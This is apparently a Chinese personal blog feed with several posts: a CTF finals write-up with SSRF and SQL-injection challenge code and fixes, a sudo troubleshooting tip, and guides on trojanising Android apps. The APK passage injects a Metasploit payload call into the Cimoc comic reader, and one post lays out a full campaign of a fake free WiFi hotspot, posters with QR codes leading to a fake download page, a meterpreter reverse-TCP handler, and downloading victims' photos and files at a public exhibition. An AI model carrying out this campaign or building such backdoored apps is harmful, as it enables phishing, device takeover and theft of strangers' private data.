<data android:host="m.bnmanhua.com" android:scheme="https"/>
<data android:host="m.tohomh123.com" android:scheme="http"/>
<data android:host="m.tohomh123.com" android:scheme="https"/>
<data android:host="www.chuixue.net" android:scheme="http"/>
<data android:host="www.chuixue.net" android:scheme="https"/>
<data android:host="m.517manhua.com" android:scheme="http"/>
<data android:host="m.517manhua.com" android:scheme="https"/>
</intent-filter>
</activity>
<provider android:authorities="com.hiroshi.cimoc" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths_public"/>
</provider>
<service android:directBootAware="true" android:exported="false" android:name="com.google.firebase.components.ComponentDiscoveryService">
<meta-data android:name="com.google.firebase.components:com.google.firebase.crashlytics.CrashlyticsRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.remoteconfig.RemoteConfigRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.analytics.connector.internal.AnalyticsConnectorRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.abt.component.AbtRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.iid.Registrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
</service>
<receiver android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementReceiver"/>
<receiver android:enabled="true" android:exported="true" android:name="com.google.android.gms.measurement.AppMeasurementInstallReferrerReceiver" android:permission="android.permission.INSTALL_PACKAGES">
<intent-filter>
<action android:name="com.android.vending.INSTALL_REFERRER"/>
</intent-filter>
</receiver>
<service android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementService"/>
<service android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementJobService" android:permission="android.permission.BIND_JOB_SERVICE"/>
<receiver android:exported="true" android:name="com.google.firebase.iid.FirebaseInstanceIdReceiver" android:permission="com.google.android.c2dm.permission.SEND">
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE"/>
</intent-filter>
</receiver>
<provider android:authorities="com.hiroshi.cimoc.firebaseinitprovider" android:exported="false" android:initOrder="100" android:name="com.google.firebase.provider.FirebaseInitProvider"/>
<activity android:exported="false" android:name="com.google.android.gms.common.api.GoogleApiActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
<meta-data android:name="com.google.android.gms.version" android:value="@integer/google_play_services_version"/>
<service android:exported="false" android:name="com.google.android.datatransport.runtime.backends.TransportBackendDiscovery">
<meta-data android:name="backend:com.google.android.datatransport.cct.CctBackendFactory" android:value="cct"/>
</service>
<service android:exported="false" android:name="com.google.android.datatransport.runtime.scheduling.jobscheduling.JobInfoSchedulerService" android:permission="android.permission.BIND_JOB_SERVICE"/>
<receiver android:exported="false" android:name="com.google.android.datatransport.runtime.scheduling.jobscheduling.AlarmManagerSchedulerBroadcastReceiver"/>
</application>
</manifest>

其中,下面这行就告诉我们启动了一个名为com.hiroshi.cimoc.ui.activity.MainActivity的活动

1
<activity android:name="com.hiroshi.cimoc.ui.activity.MainActivity" android:screenOrientation="unspecified" android:windowSoftInputMode="adjustPan">

然后我们找到这个活动的代码,把我们的函数修改一下,让它调用我们的后门(这里没有加固,也会被检测出来)

【这个寻找的过程其实很麻烦,特别是像tx和网E这种的,超级难找】

1
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

找到我们的AndroidManifest.xml,在权限列表里面加入我们需要的权限,然后编译

1
2
3
4
5
6
7
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>

(应用原来就有的权限,可以自己添加,格式可以参考Google的开发文档)

同样使用apktool进行编译

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar b ~/apk/original/
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Copying libs... (/lib)
I: Copying libs... (/kotlin)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...

这样就编译完了,把软件放到手机上进行安装,打开后在服务器就可以看到肉鸡上线了

]]>
+ + + + + CTF + + + + + + + CTF + + msfconsole + + apk + + reverse + + decompile + + + +
+ + + + + 2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp + + /posts/CTF-20220619/ + +

已更新官方WriteUP 代码浏览 - 20220619-National - CTF赛事文件合集 - GamerNoTitle的团队 (coding.net)

Break部分

(好的,啥也不会)

Web

Try2ReadFlag

小明创建了一个测试站点,但是这个站点有什么用呢?

打开来是个网页,我没看出啥,不过我们队里搞Web的那位说是CSRF跨站攻击

joomla

建站勿用弱口令!

这个是个CMS框架,整不出,提示写着建站勿用弱口令!,但是我没爆破出来……

(忘记截图了)

EzRome

经过上次的战“疫”,你们已经对rome很了解了,现在他又带着新的waf卷土重来了。

这是一个WAF下的题目,还是不会嗯

EzLogin

登陆成功就有flag哟~

一开始以为是弱口令,等到进了fix环节才发现我好像忘记了robots.txt也可以访问,可以大致看到路径下有什么文件,fix环节在讲这个

PWN

小明的加密器

小明写了一个字符串加密器,但不知道效果如何,大家来测一测吧!

nc进去后是一个加密器,但是没整出来

weirdheap

A Little Weird

nc进去是一个程序,是一个建楼的背景

1
2
3
4
5
1. Build up
2. visit big house
3. construct
4. tear down
Ur choice:

chats_store

为什么我的og不能getshell啊?

nc进去是一个聊天备份程序,但是没整出来

1
2
3
4
5
6
+================================+
+ Emergency Chats Backup Program +
+============hope there's no vuln+
+1.store chats
+2.delete chats
+3.exit

printf_hhh

格式化字符串,hhh

nc进去是一个字符串的格式化软件,如果选择1会出来一串字符(忘记截图了),2的话就是打啥显示啥(echo服务)

REVERSE

ob!

ob而已!

这个用ida逆向一下,出来的是个JavaScript语言的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
function _0x15f8(_0x1cdd90, _0x29a14a) {
var _0x55fe3f = _0x55fe();
return (
(_0x15f8 = function (_0x15f885, _0x2046fc) {
_0x15f885 = _0x15f885 - 0x139;
var _0x273cae = _0x55fe3f[_0x15f885];
return _0x273cae;
}),
_0x15f8(_0x1cdd90, _0x29a14a)
);
}
function _0x55fe() {
var _0x47407e = [
"1434380GTSaRX",
"split",
"sZuqf",
"toString",
"6092LqZrwr",
"charCodeAt",
"2298DprXBL",
"6108172ZkGjDt",
"1326TZBtUd",
"cdcMv",
"length",
"DASCTF{********************************}",
"log",
"8xppuAQ",
"reverse",
"LHAkM",
"3528396BuNtWV",
"gOHVz",
"5507440MXfrBq",
"esJvd",
"BZTwo",
"6940hAoqHl",
"1815832yyeHHB",
];
_0x55fe = function () {
return _0x47407e;
};
return _0x55fe();
}
(function (_0x1df8a4, _0x20dfb3) {
var _0x67a2d4 = _0x15f8,
_0xcc66c3 = _0x1df8a4();
while (!![]) {
try {
var _0x23a480 =
-parseInt(_0x67a2d4(0x13c)) / 0x1 +
(parseInt(_0x67a2d4(0x140)) / 0x2) *
(parseInt(_0x67a2d4(0x144)) / 0x3) +
parseInt(_0x67a2d4(0x13b)) / 0x4 +
(parseInt(_0x67a2d4(0x13a)) / 0x5) *
(-parseInt(_0x67a2d4(0x142)) / 0x6) +
parseInt(_0x67a2d4(0x143)) / 0x7 +
(parseInt(_0x67a2d4(0x149)) / 0x8) *
(-parseInt(_0x67a2d4(0x14c)) / 0x9) +
parseInt(_0x67a2d4(0x14e)) / 0xa;
if (_0x23a480 === _0x20dfb3) break;
else _0xcc66c3["push"](_0xcc66c3["shift"]());
} catch (_0x55dcb3) {
_0xcc66c3["push"](_0xcc66c3["shift"]());
}
}
})(_0x55fe, 0xd3542),
(function () {
var _0x36c6ff = _0x15f8,
_0x40f7fb = {
LHAkM: "2|3|5|1|0|4",
esJvd: _0x36c6ff(0x147),
BZTwo: function (_0x1d1e01, _0x12cacf) {
return _0x1d1e01 == _0x12cacf;
},
sZuqf: "congratulations!!",
cdcMv: function (_0x249d98, _0x2b4e20) {
return _0x249d98 < _0x2b4e20;
},
gOHVz: function (_0x14fc1c, _0x1ae2a0) {
return _0x14fc1c ^ _0x1ae2a0;
},
},
_0x344178 = _0x40f7fb[_0x36c6ff(0x14b)][_0x36c6ff(0x13d)]("|"),
_0x5c293c = 0x0;
while (!![]) {
switch (_0x344178[_0x5c293c++]) {
case "0":
console[_0x36c6ff(0x148)](encc);
continue;
case "1":
encc = _0x27361d[_0x36c6ff(0x14a)]();
continue;
case "2":
var _0x50fdde = _0x40f7fb[_0x36c6ff(0x14f)];
continue;
case "3":
var _0x27361d = new Array();
continue;
case "4":
_0x40f7fb[_0x36c6ff(0x139)](
encc[_0x36c6ff(0x13f)](),
[
0x5a, 0x47, 0x12, 0x17, 0x40, 0x14, 0x43, 0x45, 0x2b, 0x2c, 0x29,
0x29, 0x7d, 0x2b, 0x7d, 0x29, 0x74, 0x75, 0x20, 0x77, 0x20, 0x2b,
0x75, 0x27, 0x6b, 0x38, 0x38, 0x3c, 0x6f, 0x3e, 0x3d, 0x3e, 0x3f,
0x7d, 0x43, 0x50, 0x40, 0x51, 0x40, 0x44,
][_0x36c6ff(0x13f)]()
) && console["log"](_0x40f7fb[_0x36c6ff(0x13e)]);
debugger
continue;
case "5":
for (
i = 0x0;
_0x40f7fb[_0x36c6ff(0x145)](i, _0x50fdde[_0x36c6ff(0x146)]);
i++
) {
_0x27361d[i] = _0x40f7fb[_0x36c6ff(0x14d)](
_0x50fdde[i][_0x36c6ff(0x141)](),
i
);
}
continue;
}
break;
}
})();

奈何我不会这玩意,只能硬着头皮看,没弄出来(主要是最后半小时干的这个题,没时间了),就不弄了

MISC

logbool

一道wireshark流量分析题,下载下来附件以后发现大部分的请求都是跟httpmysql请求有关的,搞了一个半钟搞不出来,登录的password一直在变,而且mysql没返回什么有用的结果

Ste9ano9raphy 6inary

~支付宝到账~

诶不是我说996在Phigros里面不放过我在CTF里面还要来一次嘛

下载下来是一个压缩包,里面有个996.png和一个996.wav (@Phigros),其中音频文件是上了密码的,只能下来一个图

文件名()把996补全一下是两个单词,翻译下来是这样的

图片binwalk一下也出不来啥,去看LSB也没看出啥,WinHex里面看看也没有什么有价值的东西,奋斗了大概半小时到一个小时,搞不出来就没干了

题目中的996

Phigros的996

Crypto

Blind_Signature _RSA

题目中的r是什么呢?先去学学rsa盲签名吧。

这题我还跟着去学了一下RSA盲签名是怎么整的(大概就是下面这个图的这样)

但是给出的Python脚本里面真的让我不太知道到底要求什么,而且这个invert()求逆元的函数经常给我ZeroDevisionError(心态炸裂),弄了一会整不出来就算了(这个d上面的while循环是我自己加的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from gmpy2 import invert
from Crypto.Util.number import *


flag = b"DASCTF{xxxxx}"
m = flag.decode().encode('gbk')
e = 65535 # 公钥
p = getPrime(1024)
q = getPrime(1024)
n = p*q # 公钥
print(f'公钥 n = {n}')
# d = invert(e, (p-1)*(q-1))
while True:
try:
d = invert(e, (p-1)*(q-1))
break
except ZeroDivisionError:
pass
print(f'私钥 d = {d}')
r = getPrime(20) # r为盲因子

Fix部分

PWN

因为PWN都不知道咋整,所以PWN直接果断放弃

Web

Try2ReadFlag-fix

我在上面也说了,这个我队里的人说是跨站攻击,所以我就去看了一下是咋整的

我看他做的时候是后面加了/?id=file:///<file>这样的语句,所以我就在想是不是可以对协议头做出限制

index.php里面的底下很明显有有关的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>

<!-- CSS -->
<link rel="stylesheet" href="assets/css/bootstrap.css">
<link rel="stylesheet" href="assets/css/bootstrap-theme.min.css">
<link rel="stylesheet" href="assets/css/bootstrap-theme.css">
<link rel="stylesheet" href="assets/css/bootstrap.min.css">

<link rel="stylesheet" href="assets/js/bootstrap.js">
<link rel="stylesheet" href="assets/js/npm.js">


</head>

<body>

<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<nav class="navbar navbar-default" role="navigation">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1"> <span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button> <a class="navbar-brand" href="#">Brand</a>
</div>

<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav">
<li class="active">
<a href="#">Link</a>
</li>
<li>
<a href="#">Link</a>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown<strong class="caret"></strong></a>
<ul class="dropdown-menu">
<li>
<a href="#">Action</a>
</li>
<li>
<a href="#">Another action</a>
</li>
<li>
<a href="#">Something else here</a>
</li>
<li class="divider">
</li>
<li>
<a href="#">Separated link</a>
</li>
<li class="divider">
</li>
<li>
<a href="#">One more separated link</a>
</li>
</ul>
</li>
</ul>
<form class="navbar-form navbar-left" role="search">
<div class="form-group">
<input type="text" class="form-control" />
</div> <button type="submit" class="btn btn-default">Submit</button>
</form>
<ul class="nav navbar-nav navbar-right">
<li>
<a href="#">Link</a>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown<strong class="caret"></strong></a>
<ul class="dropdown-menu">
<li>
<a href="#">Action</a>
</li>
<li>
<a href="#">Another action</a>
</li>
<li>
<a href="#">Something else here</a>
</li>
<li class="divider">
</li>
<li>
<a href="#">Separated link</a>
</li>
</ul>
</li>
</ul>
</div>

</nav>
<div class="jumbotron">
<h1>
Hello, Ctfer!
</h1>
</div>
</div>
</div>
<div class="row clearfix">
<div class="col-md-4 column">
<h2>
Page1
</h2>

<p>
<a class="btn" href="index.php?url=http://127.0.0.1/1.html">View details »</a>
</p>
</div>
<div class="col-md-4 column">
<h2>
Page2
</h2>

<p>
<a class="btn" href="index.php?url=http://127.0.0.1/2.html">View details »</a>
</p>
</div>
<div class="col-md-4 column">
<h2>
Page3
</h2>

<p>
<a class="btn" href="index.php?url=http://127.0.0.1/3.html">View details »</a>
</p>
</div>
</div>
</div>

</body>
</html>

<?php
error_reporting(0);
$url = $_GET['url'];
$input = explode(":", $url)[0];
if ($input == "http" or $input == "file"){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

?>

Fix方法:直接把后面的file有关的删了就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
$url = $_GET['url'];
$input = explode(":", $url)[0];
if ($input == "http"){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}

?>

上传修改后的php文件,等待Check,100分到手!

EzLogin-fix

这个就是我上面说拿到文件看到robots.txt才发现还有这一招的那一题,在这个网页上面不管输什么账号密码都会弹出只有本地管理员才能够登录,在文件里面有一句提示

// 光改密码不会好的:)建议你去修修 SQL 注入,和另外一个文件里的那个漏洞

所以考点至少有个SQL注入,在网上浏览的时候发现在mysql执行指令的时候,有#的话后面的东西会被当成注释,所以sql注入的修复方法之一就是检测到#的出现就直接给它die一下(队里的人说单引号也是一个重要的点所以我也对单引号进行了校验)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<html>
<head>
<meta charset="utf-8">
<title>ezlogin</title>
</head>
<body>
<form action="" method="post">
username <input type="text" name="username"><br>
password <input type="password" name="password">
<input type="submit" value="submit">
</form>

<?php
error_reporting(0);
if(isset($_POST['username']) && isset($_POST['password'])) {
// 来自 glzjin 的温馨提示:only_check 请不要删,不然 check 会不通过的嗷:)
if($_SERVER['REMOTE_ADDR'] !== "127.0.0.1" && $_GET['only_check'] !== "nifuerhfueritfhgeyg4rh3333"){
die("只有本地管理员才能登陆!");
}
$username = trim($_POST['username']);
$password = trim($_POST['password']);
if(preg_match("/union|'|\"|>|=|<|sleep| |\^|case|like|sleep/i",$username)){
die("?????");
}
if(preg_match("/union|'|\"|>|=|<|sleep| |\^|case|like|sleep/i",$password)){
die("?????");
}

$dbhost = '127.0.0.1';
$dbuser = 'ctfer';
$dbpass = 'efrsyu578h7845g67';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass, 'babysql');
if(! $conn )
{
die('database connection failed: ' . mysqli_error($conn));
}

$sql = "SELECT * from users where username='$username' and password='$password'";
if (strstr($sql, '#') or strstr($sql, '\''))# 这里就是我加上的
{
die("?????");
}
else{
$retval = mysqli_query( $conn, $sql );
}


// 光改密码不会好的:)建议你去修修 SQL 注入,和另外一个文件里的那个漏洞
if($retval->num_rows > 0){
$row = $retval->fetch_row();
if($row[1] === "b641c90e-459e-4670-a3a9-671f2453400b") {
die('login successful! this is you flag! '.file_get_contents('/flllllaaaaaaggggg'));
}
}

mysqli_close($conn);
}

然后打开另一个y0u_nev3r_gue5s_1t.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
if(preg_match("/file|dict/i",$url)){
die("?????");
}
if($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>

打开就看到了熟悉的curl命令,我就在想应该是这里的问题,然后就在if里面加了条件,改成了下面这样

1
2
3
4
5
6
7
8
if($url and preg_match("/http:\/\//i",$url) and !strstr($url, '&&') and !strstr($url, '|')){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
?>

改完啦!上传,等待check,然后发现check没通过(三轮都是)

joomla-fix

这是一个CMS框架,在群里,管理员提醒了一句:

WEB-Joomla 提示2:别直接把文件上传功能干掉,管理员还要用的,所以或许你需要对文件上传功能点加固一下:)

所以应该是文件管理一类的考点,奈何没时间而且技术力不足,搞不定

EzRome

下载下来是个jar文件,奈何不住我不会Java啊


总结

第一年嘛,积累经验啦;隔壁队伍一个都没做出来,我至少fix还做出来了一个,稳坐三等奖啦!

明年继续

]]>
+ + + + + CTF + + + + + + + CTF + + Web + + SSRF + + + +
+ + + + + CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容 + + /posts/CTF-in-College-6/ + +

这是一次结合了前几次文章里面介绍的各种方法来做的一次实战(主要是有讲座啥的挤在一起了,然后顺带就拿出来实战了一下),那么话不多说,我们现在开始!


所有未经允许的入侵均违法!!!

情景拟定

假设现在即将迎来中国国际数码互动娱乐展览会(ChinaJoy,简称CJ),而你想要获取在场的用户手机中的某些文件。自然,直接向别人询问肯定是不合理的。此时我们想:能否通过网络直接访问到别人手机的文件,然后把我们需要的文件下载下来呢?

结合我前面几篇文章写的,我就想到可以通过社工手段诱导用户下载木马程序并安装运行,从而获取用户手机的控制权限,进而能够找到我们需要的文件并且下载下来这样的手段

方案拟定

社工手段分很多种,社工库(这个真没办法,背后的原因很多样)、钓鱼网站(Steam高价值库存会遇到很多)等等等等,但既然是一个区域内的社工,首先想到的就是公共WIFI。因为本来就是个广Door人,花生地铁WIFI用的超级多花生地铁WIFI(特别是之前流量的价格实在是伤不起的时候,但现在印象中不是有名无实就是直接没有了)

另外,像天河城之类的地方有什么aWififreewifi之类的,肯德基有KFCFreeWifi,麦当劳有MCDonloads,公共wifi渗透在我们生活的方方面面,虽然流量在逐渐取代他们,但是其实还是有人用的,而我们也可以开一个免费热点给其他人使用,特别是在我们这个情景(CJ会场)下

同时在会场中,我们粘贴有带后门软件的二维码的海报,并用官方合作伙伴等字眼吸引他人的眼球,在现场的人就很有可能会去尝试下载我们的后门软件并安装使用,这时候就形成了被动式肉鸡上线,我们能够在我们的服务器上对肉鸡进行远程控制,包括读取通讯录、信息等,甚至是读取文件(当然要有对应的权限)

准备工作

树莓派开启WIFI热点

这里采用Github上面的create_ap项目(项目链接在下面),虽然没有维护了,但是这不影响我们使用呀

oblique/create_ap: [NOT MAINTAINED] This script creates a NATed or Bridged WiFi Access Point.

首先得先clone下来,要不然我们咋用呢

1
git clone https://github.com/oblique/create_ap.git

然后我们进入clone下来的目录,进行编译

1
2
cd create_ap
make install

这个过程中可能会提示权限不足,改为root账户运行或者直接sudo都行

完成以后,就会在当前目录生成一个名为create_ap的二进制可执行文件,直接运行即可,可以像下面这样运行

1
sudo ./create_ap wlan1 wlan0 FreeWifi

这样会创建一个名为FreeWifi的免费热点,当然你可以在FreeWifi后加上密码让它变成一个加密热点,结合我们这里的情景,我就把WIFI命名为CimocFreeWifi

制作后门程序

MSF创建后门程序的过程不再多讲,请参考CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle

对于520apkhook,这里就简略地讲一下

这里我用520apkhook去对Cimoc这个漫画查看软件进行后门注入,首先当然要去下载这个软件

我这里下载的版本是v1.5.5(主要是这个是测试的最后一版,而且没有更新提示,一旦我们注入后门对apk进行重签名,用户下载官方最新的apk就会装不上,当然如果包名不同就没这茬事),也非常幸运,在520apkhook的自动模式下就能够找到onCreate()V这个切入点,自动注入

1
2
python3 main.py --lhost <公网云服务器IP(这里不公布)> --lport 5555 -n Cimoc.apk
# 格式为 --lhost 监听服务器地址 --lport 监听服务端口 -n 需要注入的apk文件 -m {1|2|3}模式选择,默认为1

注入后把我们的文件拿出来,先放在一个文件夹里面,一会会用到

制作下载页

下载页本来想用酷安官方的那个下载页,但是后来想想要改的话太麻烦了,就去Github找了一个项目

然后找到了这个FEMessage/app-download: build your app’s download page easily (github.com)

这个用了nodejs的yarn框架,可以比较方便地生成下载页

当然我是不用yarn的,所以要先安装一下yarn(npm安装慢可以用cnpm)

1
npm install yarn -g

然后再根据文档来操作,修改相关的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"title":"Cimoc",
"logo": "https://cdn.bili33.top/gh/Haleydu/Cimoc@release-tci/screenshot/icon.png",
"app": [
{
"platform": "Android",
"downloadLink":"//cdn.bili33.top/gh/Vikutorika/FakeDownloadPage@master/app-release.apk",
"qrcode": true,
"icon": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADQAAABABAMAAACn5UkPAAAAG1BMVEUAAABfvRlfvRlfvRlfvRlfvRlfvRlfvRlfvRlkC4P+AAAACHRSTlMA6pIhuRVbiHyD9QIAAAEFSURBVHgB7ZQ9TwMxDIbdpiDGQoWUsd069gTDjZxgYIQBifE2GJk611U//LPrJJde7JwyIKaKd7F1j2L7HDvQqVlFr3oCKTvrHGOnClW4Us5Zxs6+Gosv6/Px5BgFYauJee0Q7XTA70iIDpKMe0I0F2iZom1KrjnFh8/mTVrJO9EePh3y5l7G20MdUC0iXlmO9BACOoNvaSqpdrh0Wf5Eo/5eRhr19zK6ZdkEbeD3Gts7uNG5NrDAuWvET474d47A2ac54poRnJMj9+UfXQ4qDEBhbArD5jSAov4cFfarsJXGSpI+iY+C4bPcs5Dc907rUpGbEd9ozJCbEf8yHgcfJFacCdYJpVD+0W2qrN4AAAAASUVORK5CYII="
}
]
}

分别把软件名、软件logo、软件下载地址给修改了(其实里面本来还有iOS的,但是我们没做iOS所以就被我删了)

接着运行yarn标准命令生成(当然在生成前可以用yarn dev来本地查看一下)

1
2
yarn
yarn build

生成后的文件会在./dist文件夹(其实nodejs好像都是这个样子的),把里面的文件拿出来,顺带把我们的apk命名为标准的app-release.apk,放在同级目录下,上传到Github,并开启Github Pages功能来让我们的网页能够被公网访问,当然因为github.io的访问情况不太好,我还绑定了一个自定义域名(我就不放出来了,省的有人给我举报一下然后CloudFlare送我红色警告页面)

后门服务器设置

首先要安装msfvenom,安装的过程请参照CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle(kali可以不装,自带了)

然后我们运行sudo msfconsole,就会打开msf软件

此时我们直接运行相关命令即可

1
2
3
4
5
6
7
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set AutoLoadStdapi true
set LHOST 0.0.0.0
set LPORT 5555
set exitonsession false
exploit -j

会打开监听器,当肉鸡上线的时候会有提示就可以进行控制了

海报制作

这个真的没啥说的,网上一搜一大堆,也没有什么技术含量,略过

攻击流程

首先我们将我们的树莓派设备放在场馆内,打开create_ap,并将WIFI命名为CimocFreeWifi

1
sudo ./create_ap wlan1 wlan0 CimocFreeWifi

将海报粘贴到位,然后等待肉鸡上钩,看到监听服务器有提示后,使用sessions进入设备控制

因为软件一打开就说明了为啥要存储权限(这个是软件自带的不是我注入造成的),所以大部分用户都会授予存储权限

我们可以利用meterpreter的download命令来下载设备上的文件

这里需要对安卓设备的目录结构进行说明:设备的内部存储空间挂载在了/sdcard上,我们平时的设备照片存放在/sdcard/DCIM文件夹,官方相机会放在/sdcard/DCIM/Camera,屏幕截图在/sdcard/DCIM/Camera,如果用的是第三方的相机,例如B612,就会在/sdcard/DCIM/B612文件夹

所以如果我们要下载照片的话就可以在这些目录进行寻找,使用ls命令可以看到当前目录的文件,使用pwd命令可以看到当前所在的目录

当然也可以通过shell来获得一个安卓的shell程序(显然不如adb好用),可以用来运行shell脚本之类的东西

找到了我们所需要的文件,使用download命令可以将文件下载到本地,使用upload可以将本地文件上传到目标机器(上传shell脚本来维持权限啥的)

]]>
+ + + + + CTF + + + + + + + CTF + + apk + + raspberry + + + +
+ + + + + Linux踩坑记录:为什么我的sudo反应这么慢 + + /posts/Why-my-sudo-is-so-slow/ + +

在用Kali的时候,用的最多的东西就是sudo了,但是在使用的过程中我发现一个问题:我在使用sudo的时候要等个半分钟到两分钟的时间才会让我输入密码,但是刚刚安装好kali的时候就不存在这个问题

当我在百度搜索的时候,我发现了有一种情况非常贴合我的kali:修改过hosts(/etc/hosts)文件

按照百度出来的结果描述,当使用sudo的时候,会先去寻找主机地址,而hosts文件中有几行就是写了主机地址的

1
2
3
4
5
6
7
127.0.0.1localhost
127.0.1.1kali-vmware# 这个是主机名,我这里在VMware上面装的而且命名为kali-vmware

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

我打开我的hosts文件,因为之前修改过,后来被我删掉后重新touch了一次,所以是空的,我把这几行加回去后,诶,正常了

经验教训:不要随便删掉hosts文件

]]>
+ + + + + Tech + + + + + + + Tech + + + +
+ + + + + CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 + + /posts/CTF-in-College-5/ + +

本文所用项目链接

ba0gu0/520apkhook: 把msf生成的安卓远控附加进普通的app中,并进行加固隐藏特征。可以绕过常见的手机安全管家。 (github.com)


在Ubuntu安装Msfvenom

本来我想着能不能通过apt安装的,毕竟也是个软件包嘛(Kali就带了),然后我尝试运行

1
sudo apt install msfvenom -y

结果告诉我找不到,只好求助于万能的Bing

首先我们需要把下面的这些内容保存到一个文件中(文件名随意)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#!/bin/sh

print_pgp_key() {
cat <<-EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQINBFDAy/0BEAC8I5bw5gLQqHKx5JCacYcXFL6AZowl3qIOTxo5yfBl8CepNpWY
